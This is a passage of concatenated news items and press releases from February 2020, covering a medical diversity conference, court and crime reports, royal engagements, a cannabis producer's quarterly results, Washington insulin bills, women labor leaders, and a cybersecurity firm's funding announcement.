mentorship. He also founded Diverse Medicine Inc., a program that works to increase ethnic and socioeconomic diversity within the field of medicine.In his keynote address, Okorodudu expanded on the theme that in order to achieve their dreams, the students would need to draw upon the support of those around them and pay attention to the experiences of others who took similar career paths.he said, adding that a formula for success is mapping out goals from the start.After the main program, students broke into groups based on age and participated in programs in campus facilities including a tour of Laupus Library's Virtual Reality Lab and the Country Doctor Museum exhibit. College students learned more about the pathway to medical school, study skills and resources available to them. Teachers and parents attended a session on how to best support promising students who aspire to be doctors or other health care providers.In Brody's simulation center, Davis went from room to room with her peers, standing back to absorb all the information they were provided.she said.Donovan Rainey, a first-year Brody medical student from Durham, served as an ambassador for the program, guiding each group to their next breakout session.he said.Rainey said he wanted to help with the first Rise Up conference because he can serve as an example to younger people with big dreams.he said. A high court in Kano on Friday sentenced a woman to death for killing her husband. The judge, Ahmad Badamasi, found Rashida Saidu, 31, guilty of murder after she reportedly threw her husband, Adamu Ali, from a storey building following a suspicious phone call. Mr Ali was a lecturer at the Federal College of Education in Kano. Ms Saidu reportedly killed her husband on February 20 2019 at their residence at Dorayi quarters, in Gwale Local Government Area in the state. Crisis began between the couple when the wife accused her late husband of cheating on her by making a phone call to another woman. READ ALSO: The late husband, Mr Ali, reportedly broke his neck which led to his death. Mrs Saidu was Mr Alis student at the Federal College of Education in Kano before their marriage. She was the mans second wife and they had two children. This development is coming in less than a month after another court in Abuja sentenced to death Maryam Sanda who was also found guilty of killing her husband. When the going gets tough, the tough get going on royal tours. Prince William and Catherine, Duchess of Cambridge havent spoken publicly about their feelings on Megxit. But without the Duke and Duchess of Sussex on hand to pick up the slack, this couple is gearing up to have their busiest year ever to make up for their absence. If anyone can keep the royal family reputation strong, its Will and Kate. Royal followers have been speculating for weeks over who will fill the void left by Prince Harry and Meghan, Duchess of Sussex. Could it be Princess Eugenie? Princess Beatrice? Queen Elizabeths favorite daughter-in-law, Sophie, Countess of Wessex? Theres a good chance itll be none of the above. Prince William and Kate Middleton | Chris Jackson/Getty Images Prince William and Kate Middleton had a busy year in 2019 Though they didnt earn top prize as the busiest working royals of the year, the Duke and Duchess of Cambridge did pull their weight by attending plenty of engagements throughout the year. Prince William clocked in for 220 events while Kate attended 126. Meanwhile, Queen Elizabeth was present at 295 functions even though shes 93 years old. And the hardest working royal of them all, the heir apparent and future monarch Prince Charles showed up to an incredible 521 events in 2019. With all that effort, its easy to see how the royal family can keep their presence strong even without Harry and Meghan. In 2019, Harry attended 201 events while Meghan was present at just 80 because of her maternity leave. The Duke and Duchess of Cambridge have two trips in the works So far, we know Prince William and Kate will be heading to Ireland in early March. Observer reported that it will be couples first official trip to the Republic of Ireland and might include stops in Dublin and Cork. Previously the pair only visited Northern Ireland. Rumor has it their next big engagement is a visit to Australia sometime in the spring. The Duke and Duchess of Cambridge will likely visit places and people affected by the bushfires that devastated the area recently. There is speculation that the pair wanted to visit sooner, but they didnt want to take attention away from fundraising efforts. The British royal family is finding a new normal No one knows what the future will bring for the royal family, especially now that Harry and Meghan have an official exit date. However, William and Kate seem as dedicated as ever to keeping up their busy work schedules to help mitigate any of the damage caused by Megxit. Queen Elizabeth is grateful that this young couple is helping keep the peace and perpetuating a positive image for the family amongst all the scandals. Its making her more confident that the legacy she spent a lifetime building is in good hands. Itll be an interesting year for the whole family and will undoubtedly include plenty of high-profile events for the Duke and Duchess of Cambridge. Well be watching to see where they head next. KITCHENER, Ontario, Feb. 21, 2020 (GLOBE NEWSWIRE) -- James E. Wagner Cultivation Corporation (TSX VENTURE: JWCA; OTCQX: JWCAF), a premium cannabis brand focused on producing clean, consistent cannabis grown using its advanced and proprietary GrowthSTORM aeroponic platform, reported financial results for its fiscal first quarter ended December 31, 2019. Dollar amounts are in Canadian dollars. Fiscal Q1 2020 Corporate Highlights Received licensing amendment from Health Canada to double JWC2s licensed production capacity to 44,500 square feet, which would be an annualized production capacity of more than 9,000 kilos of dried cannabis. Average yield per plant increased to 262 grams in the first quarter of 2020, versus the average yield of 210 in the same year-ago period. Launched plans to open a 2,000 square farm gate retail store adjoining the companys JWC2 flagship facility, representing a new direct-to-consumer sales channel for the company. The store is anticipated to be the Waterloo regions first retail cannabis store located on a licensed cultivation site, and will serve the areas 500,000 inhabitants. In January, the company submitted a cannabis retail operator license application to the Alcohol and Gaming Commission of Ontario. Received a license amendment from Health Canada for the sale and production of cannabis extracts, edibles and topicals at the companys JWC1 facility, allowing JWC to add kief, rosins, and pre-rolls in various quantity formats to its product portfolio. Introduced four new cannabis strains grown using the companys advanced GrowthSTORM aeroponic platform: King Tut, Dark Helmet, West Coast Sour Diesel, and Hash Plant. Engaged Kindred Partners to serve as the exclusive broker for JWC adult-use cannabis products in Canada. to serve as the exclusive broker for JWC adult-use cannabis products in Canada. Entered a supply and manufacturing agreement with CannaCure Corporation, a wholly-owned subsidiary of Heritage Cannabis Holdings , whereby CannaCure formulates and fills JWCs vape cartridges, for both recreational and medical cannabis markets. , whereby CannaCure formulates and fills JWCs vape cartridges, for both recreational and medical cannabis markets. Began collaboration and research trial with Fluence Bioengineering for the performance testing of Fluences VYPR 2p Broad Spectrum LED lighting solution. The trial will assess if the lighting solution can further improve JWCs already high level of energy efficiency and help to further optimize cultivation performance. Financial Highlights Revenues totaled $264,000 in fiscal Q1 2020, down 74% sequentially from $1,025,000 in fiscal Q4 2019, and compared to $550,000 in fiscal Q1 2019. The decline in revenue was due primarily to managements response to market conditions and the strategic decision to defer sales to the second quarter to maximize the revenue potential and gross margin of produced goods. This decision was reflected in Unrealized Fair Value on Finished Goods in the amount of $2.4 million, as compared to none at the end of the previous quarter. Loss and comprehensive loss for fiscal Q1 reduced 48% to $1.2 million or $(0.01) per share. Gross margin totaled $1.8 million, compared to $3,000 in in the same year-ago quarter. Operating expenses in fiscal Q1 2020 were $2.5 million, a 46% decrease from fiscal Q4 2019, and a 5% increase from fiscal Q1 2019. Received private placement equity funding of approximately $1 million. Secured a $4 million loan facility available in two tranches, with $2,850,000 received during the first quarter and the remaining portion received in the subsequent quarter. Obtained convertible security funding for up to $10 million available in two tranches, with $2 million drawn in the subsequent quarter and the remainder available subject to mutual agreement with the lender. Management Commentary During our first fiscal quarter of 2020 we made tremendous strides in many areas of our business designed to better position JWC for success in the new year. We focused our efforts on deriving the maximum value from all available resources and avenues, including our biological assets, branded products, key partnerships, proprietary technologies and newly established sales channels. Our financial results for the quarter demonstrated that despite our strengthening platform, we were not immune to the challenges of an industry that is still evolving and striving for balance. While revenue declined substantially, this was largely purposeful, reflecting what we see as temporary conditions that are now set to pivot and launch in the opposite direction in the current quarter. During fiscal Q1, we implemented a strategic response to the market. A combination of number of factors, primarily oversupply and the lack of legal sales outlets continued to drive the illicit market. As a result, our wholesale partners were unable to buy our products at historical prices, driving gross margins into the negative territory. So, we made the strategic decision to hold back on sales and preserve our biological assets until the oversupply subsided and the recreational market opened. Our ability to attract various sources of capital even in this challenging environment demonstrated our strong value proposition and gave us the flexibility to pursue our strategy. We dedicated our resources to the development of our Cannabis 2.0 products, positioning ourselves to capture the anticipated growth in the recreational market in the current quarter. This has also included the formation of a variety of new partnerships and obtaining key regulatory approvals. Experts are now predicting a three times growth in industry-wide sales in 2020, as the number of retail stores steadily increase as a result of eased regulations and the oversupply subsides. We expect this to support the sale of significant volumes of our products in Q2 and beyond. Our primary focus will remain on becoming a highly successful cultivator and seller of clean, consistent cannabis. Our financial outlook is unchanged for fiscal Q2 and Q3, as we reiterate below. Combined with our industry-leading yields and lower cost of production due to our unique GrowthSTORM system, we believe we can achieve and sustain highly favorable margins and strong growth over the long term. Summary Financial Results Q1 2020 Q1 2019 % Change Q4 2019 % Change Revenues 263,820 549,995 -52% $1,024,515 -74% Operating expenses 2,443,168 2,386,812 2% 1,704,537 43% Loss from operations (640,056) (2,375,936) -73% (2,790,773) -77% Net and comprehensive loss (1,166,785) (2,325,292) -49% (3,087,790) -62% Net and comprehensive loss per share (0.01) (0.03) -67% (0.03) -67% Dec. 31, 2019 Sept. 30, 2019 % Change Cash & cash equivalents 321,042 1,266,611 -75% Agriculture produce & biological assets 10,416,349 6,026,989 73% Non-current assets 28,693,007 19,057,907 51% Other liabilities and long-term debt 19,596,266 7,172,475 173% Shareholder's equity 14,867,012 15,111,888 -1.6% For the first quarter of fiscal 2020, revenues totaled a $264,000, decreasing 74% from $1,025,000 in the previous fiscal quarter, and by 52% from $550,000 in the same year-ago quarter. General and administrative costs increased to $2.1 million sequentially, and remained equal marginally at $2.1 million compared to the same year-ago period. Increases in salary and wages expense to $1.0 million in first quarter of fiscal 2020 from $622,000 in the same year-ago quarter was offset by the elimination of in rent expense due to the adoption of IFRS 16. Under IFRS 16, leases and rent expenses are no longer included in the income statement, but instead as a reduction to lease liabilities in the statement of financial position. Operating expense totaled $2.5 million, increasing 46% from $1.7 million in the previous quarter, and up 5% from the same year-ago quarter. Excluding two one-time items in Q4 2019 (the transfer of year to date production expense to inventory and the receipt of scientific research and experimental development (SRED) tax credit), operating expense decreased 4% from the previous quarter. The increase from the prior year is consistent with the companys plans for facility expansion, including increasing employee headcount and preparations for the new farm-gate retail store. Biological assets totaled $3.6 million at the end of the first quarter 2020, compared to $2.9 million at the end of the previous quarter and $1.5 million at the end of the year-ago quarter. Net and comprehensive loss was $1.2 million or $(0.01) per share in fiscal Q1 2020, compared to $3.1 million or $(0.03) per share in the previous fiscal quarter and $2.3 million or $(0.03) per share in fiscal Q1 2019. Cash and equivalents at December 31, 2019 totaled $321,000 compared to $1.3 million at September 30, 2019 and $2.9 million at December 31, 2018. The decrease in cash is attributable to cash used in operations and the reduction in accounts payable. The company raised $1 million in equity and borrowed $2.85 million in the fiscal first quarter. Subsequent to the quarter, it raised an additional $3.3 million in equity financing and convertible securities, and borrowed another $1.15 million. The company has the option, upon mutual agreement with the lender, to secure an additional $8 million in operating capital through existing funding vehicles, in addition to other means. The company believes it will sustain sufficient liquidity to meet its financial commitments and for its growth objectives to be achieved. Outlook Inventories totaled approximately 1,199 kg of dried cannabis and 102 liters of formulated oil at the end of fiscal Q1 2020. These products are planned for sale in the second and third quarter of fiscal 2020. The company plans to begin selling cannabis products through recreational channels before the end of fiscal Q2 2020. In fiscal Q2 2020, the company expects to be revenue positive (cash flow positive), along with generating positive net and comprehensive income. By Q3 2020, it expects revenue growth to drive strong gross margins, positive cash flow, and net and comprehensive income. Additional Information Additional details of the Companys financial results are available in the financial statements and the managements discussion and analysis as filed under JWCs profile on SEDAR ( www.sedar.com ) and available on the Companys website at www.jwc.ca . Conference Call On February 21, 2020, the Company will host a conference call to discuss these results, followed by a question and answer period, as specified below: Date: Friday, February 21, 2020 Time: 3:00 p.m. Eastern time (12:00 p.m. Pacific time) Toll-free dial-in number: +1 (877) 407-9208 International dial-in number: +1 (201) 493-6784 Conference ID: 13698939 The conference call will be webcast live and available for replay here. Please call the conference telephone number five minutes prior to the start time. An operator will register your name and organization. If you have any difficulty connecting with the conference call, please contact CMA at +1 (949) 432-7566. A telephone replay of the call will be available from 6:00 p.m. Eastern time on the same day until March 6, 2020: Toll-free replay number: +1 (844) 512-2921 International replay number: +1 (412) 317-6671 Replay ID: 13698939 About James E. Wagner Cultivation Corporation James E. Wagner Cultivation Corporations wholly owned subsidiary is a Licensed Producer under the Cannabis Regulations, formerly the Access to Cannabis for Medical Purposes Regulations (ACMPR). JWC is a premium cannabis brand, focusing on producing clean, consistent cannabis using an advanced and proprietary aeroponic platform named GrowthSTORM. JWC began as a collective of patients and growers under the Marihuana Medical Access Regulations (the precursor to ACMPR). Since its inception, JWC has remained focused on providing the best possible patient experience. JWC is a family-founded company with deep roots planted in the local community. JWCs operations are based in Kitchener, Ontario. Learn more at www.jwc.ca . Notice Regarding Forward-Looking Statements This press release contains statements including forward-looking information for purposes of applicable securities laws (forward-looking statements) about JWC and its business and operations which include, among other things, statements regarding increased production capacity at JWCs facilities, the financial impact of additional licenced flowering space at JWCs facilities, increased yield of cannabis flower, the availability of debt financing, sales of cannabis in the recreational market, increasing customer demand, the financial growth of JWC, managements expectation of JWC achieving break-even, turning net and comprehensive income positive and turning revenue positive and the timing for the achievement of such milestones. The forward-looking statements can be identified by the use of such words as will, expected, approximately, may, could, would or similar words and phrases. Forward-looking statements involve known and unknown risks, uncertainties and other factors which may cause the actual results to differ materially from those implied in the forward-looking statements. For example, risks include risks regarding the cannabis industry, economic factors, the equity markets generally, building permit related risks and risks associated with growth and competition as well as the risks identified in JWCs Annual Information Form dated April 3, 2019, available under the JWCs profile at www.sedar.com . Although JWC has attempted to identify important factors that could result in actual actions, unanticipated events may cause results to differ materially from those described in forward-looking statements, and there may be other factors that cause actions, events or results to differ from those anticipated, estimated or intended. Readers are cautioned not to place undue reliance on these forward-looking statements, which speak only as of the date of this press release and are based on current assumptions which management believes to be reasonable. The Company disclaims any intention or obligation, except to the extent required by law, to update or revise any forward-looking statements, whether as a result of new information, future events or otherwise. Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. Company Contact Nathan Woodworth President & CEO Tel: (519) 594-0144 x421 Email: nathan@jwc.ca Investor Relations Jonathan Leuchs CMA Tel: (949) 432-7566 Email: jwca@cma.team At least two policemen were killed after gunmen struck at a checkpoint in Irele local government area of Ondo state. According to ... At least two policemen were killed after gunmen struck at a checkpoint in Irele local government area of Ondo state. According to Femi Joseph, spokesman of the Ondo police command, the two officers were killed at the checkpoint along Ajagba road, on Monday. He said investigations have commenced to unravel the cause of the attack. Joseph added that the officer who sustained injuries in the attack is currently receiving treatment at the hospital. He vowed that the gunmen would be arrested and made to face the wrath of the law. We lost two of our men on duty on Monday, but we dont know who the killers are yet, whether they are armed robbers or militants or thugs. It is when we arrest them that they will tell us who they are, Joseph said in a statement. But it is very sad and unfortunate for the command, losing our men just like that. While the investigation has commenced, we will do everything to get the bandits arrested and face the wrath of the law. If you own shares in Canada Carbon Inc. (CVE:CCB) then it's worth thinking about how it contributes to the volatility of your portfolio, overall. In finance, Beta is a measure of volatility. Modern finance theory considers volatility to be a measure of risk, and there are two main types of price volatility. The first type is company specific volatility. Investors use diversification across uncorrelated stocks to reduce this kind of price volatility across the portfolio. The second type is the broader market volatility, which you cannot diversify away, since it arises from macroeconomic factors which directly affects all the stocks on the market. Some stocks are more sensitive to general market forces than others. Some investors use beta as a measure of how much a certain stock is impacted by market risk (volatility). While we should keep in mind that Warren Buffett has cautioned that 'Volatility is far from synonymous with risk', beta is still a useful factor to consider. To make good use of it you must first know that the beta of the overall market is one. Any stock with a beta of greater than one is considered more volatile than the market, while those with a beta below one are either less volatile or poorly correlated with the market. Check out our latest analysis for Canada Carbon What CCB's beta value tells investors Zooming in on Canada Carbon, we see it has a five year beta of 0.81. This is below 1, so historically its share price has been rather independent from the market. This suggests that including it in your portfolio will reduce volatility arising from broader market movements, assuming your portfolio's weighted average beta is higher than 0.81. Beta is worth considering, but it's also important to consider whether Canada Carbon is growing earnings and revenue. You can take a look for yourself, below. TSXV:CCB Income Statement, February 21st 2020 Does CCB's size influence the expected beta? With a market capitalisation of CA$20m, Canada Carbon is a very small company by global standards. It is quite likely to be unknown to most investors. It is not unusual for very small companies to have a low beta value, especially if only low volumes of shares are traded. Even when they are traded more actively, the share price is often more susceptible to company specific developments than overall market volatility. Story continues What this means for you: Since Canada Carbon is not heavily influenced by market moves, its share price is probably far more dependent on company specific developments. It could pay to take a closer look at metrics such as revenue growth, earnings growth, and debt. This article aims to educate investors about beta values, but it's well worth looking at important company-specific fundamentals such as Canada Carbons financial health and performance track record. I highly recommend you dive deeper by considering the following: Past Track Record: Has CCB been consistently performing well irrespective of the ups and downs in the market? Go into more detail in the past performance analysis and take a look at the free visual representations of CCB's historicals for more clarity. Other High-Performing Stocks: Are there other stocks that provide better prospects with proven track records? Explore our free list of these great stocks here. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Thank you for reading. Turkey has requested two Patriot missile-defense batteries from the United States to repel Syrian troops, backed by Russian air forces, in Idlib, Bloomberg news agency reported on Thursday, citing an unnamed senior Turkish official, amid new tensions in Idlib, Sputnik reports. According to Bloomberg, Turkey has asked the US to deploy the batteries on its southern border, close to Syria, in order to "punish any future attacks by Syrian troops backed by Russian air power." OLYMPIA Washington House and Senate lawmakers have passed four major bills that could provide relief to residents paying exorbitant prices for prescription drugs, with a focus on insulin. Those bills which would cap prices for the diabetes drug and create a centralizing purchasing program for insulin cleared a key hurdle in Olympia on Wednesday, the deadline for bills to pass the chamber where they started. But just weeks remain in the legislative session until lawmakers must get bills to the governors desk for his signature. Much of the attention now turns to the House, which will consider three bills championed by Sen. Karen Keiser, D-Des Moines. The bills will be overseen by Rep. Eileen Cody, D-Seattle, who is chair of the House Health Care & Wellness Committee. Despite some partisanship in the Senate, Cody said she can guaran-damn-tee that the bills will be met with broad support in the House, citing lawmakers in both parties that have been impacted by diabetes. Meanwhile, a price-cap bill proposed by Republican floor leader Rep. Jacquelin Maycumber, R-Republic, has been lobbed over to the Senate. In a public hearing for the bill, Maycumber described herself as an amateur expert on unreasonable insulin prices ever since her son was diagnosed with type I diabetes last year and she was forced to pay more than $1,000 to fill his prescription. We proceeded to join a group of parents that is a group I did not want or ask to join, Maycumber said. A group of people with children that mourn for the life they couldve had and proceed to fear for the life they will have. Advocates are motivated by increasing prices as well as continued media coverage of diabetic individuals who are desperate for their life-saving medication including a recent story of people turning to the black market via Craigslist. Bills that passed Senate Bill 6088: This bill would establish a drug-affordability board charged with identifying drugs that are excessively priced or quickly increasing in price, and setting price limits for state purchasers. Senate Bill 6087: Out-of-pocket costs for a months supply of insulin would be capped at $100 until Jan. 1, 2023, under this bill. Advocates hope the bill will provide immediate relief while lawmakers figure out a longer-term solution to the crisis. Five Republicans voted yes on this bill, making it more bipartisan than Keisers other insulin-related bills. Senate Bill 6113: Modeled after the states decades-old Childhood Vaccine Program, a centralized purchasing program that takes advantage of bulk discount rates, this bill would create a centralized insulin-purchasing program. Advocates hope the program could leverage the buying power of the state to drive down costs, but have urged lawmakers to include type I diabetics to the list of stakeholders involved in devising the purchasing strategy. House Bill 2662: Similar to the approaches introduced by Keiser, this Republican-sponsored bill would create a $100 cap on out-of-pocket costs for a months supply of insulin, expiring in 2023. It would establish a work group to figure out how to reduce the cost of insulin, which may entail establishing a centralized purchasing program. This bill was passed overwhelmingly by the House. Bills no longer being considered Senate Bill 6110: A more unorthodox approach, this bill would have allowed the Health Care Authority to import prescription drugs from Canada, where insulin can be obtained at a fraction of the price. The bill faced scrutiny regarding importation from a country where the U.S. has no regulatory control, and failed to get out of committee. Senate Bill 6111: In light of the increasing number of American caravans heading to Canada or Mexico to fill their expensive prescriptions, this legislation would have created a pharmacy tourism program, to reimburse state employees for travel expenses. The bill was modeled after a similar piece of legislation in Utah. U.S. Sen. Patty Murray said Wednesday that the state Legislatures ability to curb skyrocketing prescription drug costs may pave the way for a national solution. One of the things I hear the most about here at home is people talking about the cost of prescription drugs, Murray said. So Im really excited to see what our state is doing and whether they can get it passed. I think they may be able to. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Everyone is trying to morph those facts, Cramer said. These prosecutors who investigated and convicted Blagojevich have been out of the (U.S. Department of Justice) for about 10 years. And the president is making some sort of twisted connect-the-dots between Jim Comey and Rod Blagojevich? When you have to go through these legal gymnastics, maybe the best answer is the most simple one, which is Rod Blagojevich is the poster child for public corruption in Illinois. And that is a pretty high bar. The Capital Region is home to large labor unions, including the Civil Service Employees Association, New York State United Teachers and Teamsters Joint Council 18. Women have figured prominently in organized labor ever since Irish washer woman Kate Mullany started the Collar Laundry Union in 1864 and led a strike that resulted in a 25-cent raise for the laundry workers all women. More than 150 years later, women are in the forefront of both the movement and in major wins for workers. Sandra Oxford, Director, Hudson Valley Area Labor Federation Sandy Oxford grew up in New York City, but her work to unite people for a common cause started on an apple farm in Ulster County. She moved to the area in 1988 when she was pregnant with her oldest child. Oxford was looking for a quieter place closer to nature to raise her son. Shortly after she moved, word got around that Oxford was both a citizen activist and Spanish speaker. The workers at neighboring farms were often undocumented immigrants who spoke only Spanish. The workers came to her with stories about poor working conditions wage theft, preferential treatment, pesticide sprayed without warning, coating the laundry on the line and the children's toys left outside of the homes where workers lived on the farms. Life was especially hard for women, who risked sexual assault and abuse from male managers, and because they often lived on the farms where they worked, they were isolated with no one to turn to, Oxford said. Oxford worked in the Sullivan County court system where she developed restorative justice and alternative dispute resolution practices. In the evenings, she met with farmworkers and tried to help them. She was part of a more than 20-year fight to bring farmworkers more rights. She was among those who celebrated when Gov. Andrew Cuomo signed the Farm Laborers Fair Labor Practices Act into law last year, allowing farmworkers the rights to unionize, receive disability benefits and have a day of rest during each work week. "In my experience, people are better off with the stability of a union contract and having benefits," Oxford said. "If one family member in a disorganized, poor family is fully employed with benefits, the whole family is better off. If we had more of that, we would need fewer social programs." Oxford worked for the United Food and Commercial Workers International Union (Local 888) for a dozen years. She traveled the country and witnessed the exploitation migrant workers faced. She was in Postville, Iowa, in 2008 when federal officers raided Agriprocessors, a kosher slaughterhouse and meat packing plant. Hundreds of undocumented workers were arrested and deported. She also worked with the Rural and Migrant Ministry before taking her current job as director of the Hudson Valley Labor Federation, a regional office of AFL-CIO that serves working families in seven counties, including Columbia and Greene. In her free time, Oxford plays roller derby for the Mid-Hudson Misfits. Ada Martinez, Organizer, New York State Nurses Association The potential to work in organized labor was present in Ada Martinez long before she realized it. Martinez is a first-generation American, raised by Paraguayan immigrants. Her father, recruited to come to the United States to work for NASA, later worked as an electrician for GE. Martinez said her parents' transition to becoming Americans was not easy her father faced discrimination because of his accent, leading her parents to tell their three children not to speak Spanish in public. But the job at GE, a union position with benefits and a stable income, provided a pathway to a good life for the family, Martinez said. Health benefits were especially important to the Martinez family because Ada's sister, Heidy, was born with cerebral palsy and required extensive medical care. Martinez knew she wanted to do something meaningful with her life and prepared to go to law school after college, but being a lawyer didn't feel quite right, she said. While pursuing a master's degree at Empire State College, she interned with the Capital District Area Labor Federation, a regional office of the AFL-CIO. She ran a pre-apprenticeship program as part of the Capital Region Workforce Development Center for individuals from low-income communities. Many of the people Martinez worked with hadn't finished high school or had been in jail or prison and the program prepared them to join apprenticeships at local trade unions. Also as part of her work, Martinez visited Saratoga Race Course to advise backstretch workers of their rights as employees. She continued with the job after she graduated from Empire State College with a degree in labor policy but she was laid off in 2012 when funding ran out for the program. Martinez then worked briefly for the United Way as a labor liaison before taking a job as an organizer with the New York State Nurses Association, the state's largest union and professional association for registered nurses. Martinez worked with nurses from Albany Medical Center as they moved toward unionizing. In April 2018, a majority of the hospital's 2,000 nurses voted to join NYSNA. They are in their first contract negotiations now with management at Albany Med. Martinez said staffing is one of the major issues. NYSNA would like to see a ratio law in New York similar to what exists in California that controls how many patients each nurse can be assigned at one time. Martinez said there is a misconception NYSNA is now in a position to tell the nurses what to do, but it doesn't work that way. "We're in a position to empower people to fight for themselves," she said. Working for NYSNA has brought a lot of things home for Martinez. "My parents came here for a better life, and they credited having a union contract with good benefits for providing a good life," she said. Sign up for The Knick Get the latest news and some area history with our afternoon newsletter. "Fighting for working families is a way of thanking my parents, my sister who is now a nurse, and Heidy, who always had nurses and doctors in her life." Shana Davis, Treasurer, CSEA Region 4; President, Capital District Chapter of Coalition of Black Trade Unionists Shana Davis started working for the state Department of Taxation and Finance in 1989. She was a member of the CSEA, but it didn't occur to her to get involved because she didn't see anyone in the leadership who looked like her, an African-American woman. But in 2003, she was invited to a town hall meeting hosted by the Coalition of Black Trade Unionists. "I saw people standing up and saying how important it is to show ourselves as people of color and know what role labor and benefits play in our professional and personal lives," Davis said. Founded in 1972 by black members of the AFL-CIO who felt the white leadership wasn't listening to them, the CBTU includes a cross-section of union members, including United Automobile Workers, electrical workers and service employees. A chapter must include members for at least five unions, Davis said. Davis' exposure to the CBTU prompted her to pursue leadership positions in the CSEA. She was a shop steward first, which means she represented the needs of the union members in her office. In the years since, she has held various positions with the CSEA. In September 2019, Davis received the president's award at the annual gala hosted by the Capital District Area Labor Federation. On March 1, she will start a four-year term as executive vice-president of CSEA Region 4. She has twice served on the CSEA negotiating team, which she calls an education. "It gave me an opportunity into why health insurance is the way it is and how economics affect the salary offering. It's intricate," Davis said. The CBTU remains close to her heart. She's been president of the chapter, an unpaid position, three times. The membership, which fluctuates between 72 and 150, works on "get out the vote" campaigns, particularly in poor and minority neighborhoods. CBTU members promote the Census and host movie nights followed by discussions about activism. They also work to educate union members about their benefits. "There are people who go to work and come home without knowing what their dues pay for," Davis said. "It's better, if you're attacked, if you're equipped with the knowledge to fight back." Davis said her journey has been made possible by the strong women who came before her. She names a few: Clayola Brown, a civil rights and labor leader; Sharon Lovelady-Hall, a regional CBTU director; and Mary Sullivan, president of the CSEA. "I stand because they stood," Davis said. "I love taking care of people and being a source of information to help defend someone when they've been treated unfairly." Dubai, United Arab Emirates, Feb. 21, 2020 (GLOBE NEWSWIRE) -- Jetex has a solid international reputation in the private aviation market and looks forward to growing its presence in the United States. Jetex, an award-winning global leader in executive aviation, is pleased to announce the appointment of Julie Goodridge in a newly created role of Vice President of Sales, USA. In this new role, Goodridge will be responsible for leading all sales and marketing efforts within the market. Goodridge has 25 years of aviation experience. Prior to joining Jetex, she held senior-level roles with Jet Aviation, CAE, FlightSafety International and Embry-Riddle Aeronautical University. She is also a licensed private pilot. Jetex is a trusted resource for international trip planning, mission support, fuel and FBO services worldwide. We are delighted to have the opportunity of benefiting from Julies expertise in the United States as we develop our presence in this important market. said Mr. Adel Mardini, Founder and CEO of Jetex. Goodridge has a masters degree in aeronautical science from Embry-Riddle Aeronautical University and a bachelors degree in English and Communications from Northern Kentucky University; she also holds the NBAA Certified Aviation Manager designation. Goodridge will be based at the Jetex Operations Center in Miami, Florida. - END - About Jetex: An award-winning global leader in executive aviation, Jetex is recognized for delivering flexible, best-in-class trip support solutions to customers worldwide. Jetex provides exceptional FBO, aircraft fueling, ground handling and global trip planning. The company caters to both owners and operators of business jets for corporate, commercial and personal air travel. To find out more about Jetex, visit www.jetex.com and follow us on Instagram, Twitter, Facebook, and LinkedIn. Attachment Corey Feldman was detained by TSA after attempting to bring a Taser onto an airplane. The Goonies actor, 48, neglected to check in his taser before his flight out of LaGuardia Airport on Thursday, and was nearly arrested, according to TMZ. Stun guns and shocking devices are not allowed on carry on bags, but are permitted by TSA in checked bags. Corey Feldman was nearly arrested Thursday after attempting to bring a Taser onto an airplane (pictured in New York on Wednesday) Feldman was detained by TSA as he went through a security checkpoint, and ultimately missed his flight, the site reports. The actor was eventually allowed to fly with the taser, though had to purchase new luggage in order to check it in properly. Feldman always travels with a taser, but had forgotten it was on him this time until it was too late, reports the site. The Lost Boys actor will usually pack the taser in his checked baggage, and has previously flown with it to Canada and England without any problem. Feldman has been promoting his new documentary My Truth: The Rape Of Two Corey as of late Feldman has been promoting his new documentary My Truth: The Rape Of Two Corey as of late. The actor says the documentary will expose the Hollywood pedophile ring he claims abused him and his late friend Corey Haim as children. The former child star has long said both he and Haim were sexually assaulted as children in Hollywood. The actor has been vowing to expose an alleged Hollywood pedophile ring for years. Feldman says his new documentary - My Truth: The Rape of Two Coreys - will reveal the names of the people who victimized him and Haim. The film, which has been beset with legal and funding issues, will only be shown once on his website on March 9 after no major distributor picked it up and it was reportedly turned down by Netflix because of possible legal ramifications. CEO Alex Gounares Polyverse Corporation received $8m in new funding to accelerate the adoption of its groundbreaking cybersecurity technology among government agencies and solution providers. The new funding was led by existing investors and Japanese security giant Soliton Systems KK. We are pleased to extend our partnership with Polyverse through our investment. Polyverses security breakthroughs are enabling us to create radically improved products for our customers, said Nobuo Kamata, President of Soliton. Founded in 2015 by bringing together top engineering talent from Microsoft, Amazon, Google and the academic world, Polyverse develops leading-edge cybersecurity technology including Polymorphing for Linux, that protects servers against memory-based exploits by stopping zero-day, code-execution, overflow and memory-based attacks. Polyverse technology is widely deployed by government and security-conscious organizations, and is also embedded in IoT devices and connected hardware such as healthcare devices. CNBC recently named Polyverse one of the worlds top 100 start-ups. Polymorphing hardens open source Linux distributions by scrambling the source code without affecting its operation, functionality or performance. This makes each version of the OS unique and prevents attackers from applying their knowledge of OS weaknesses to a companys systems, rendering their attacks useless. Polyverse Polymorphed Linux is currently running on millions of servers. Polyverse technology has been validated by the U.S. Department of Defense to mitigate against zero-day memory exploits like WannaCry and Spectre, and the attacks on companies such as Equifax. Our mission is to solve the cybersecurity problem once and for all. The only way that will happen is if we take a different approach, said Alex Gounares, CEO, Polyverse. By building diversity and uniqueness across multiple system dimensions, Polymorphing increases the complexity and cost for attackers and stops attacks before they start. Expanded Leadership Team Broadens Government and Enterprise Reach The new funding will be used to accelerate investment in expanding polymorphic technologies and adding new geographies and new capabilities such as polymorphic script engines and polymorphic build farms, for DevSecOps. The company also added key new members to its team, including: Mark Zibo Joseph Zbikowski, a former Microsoft Architect and an early computer hacker. He was the designer of the MS-DOS executable file format, and the headers of that file format start with his initials: the ASCII characters MZ (0x4D, 0x5A). Phillip Cockrell, Vice President, Enterprise Sales, former Vice President of Global Alliances at SUSE, the first provider of an Enterprise Linux distribution. Cockrell led strategic sales relationships with SUSEs top partners, including Amazon Web Services, Dell, Fujitsu, HPE, IBM and Microsoft Azure, and led strategy and execution for SUSEs global embedded program and platform-as-a-service solutions. Joanne Harris, Chief Marketing Officer, and former Global Vice President of Marketing at SUSE. Harris held responsibility for marketing strategy and planning across all marketing functions world-wide. Harris previously led EMEA Strategic Alliances and Partner Marketing for Veritas Software. Polyverse has 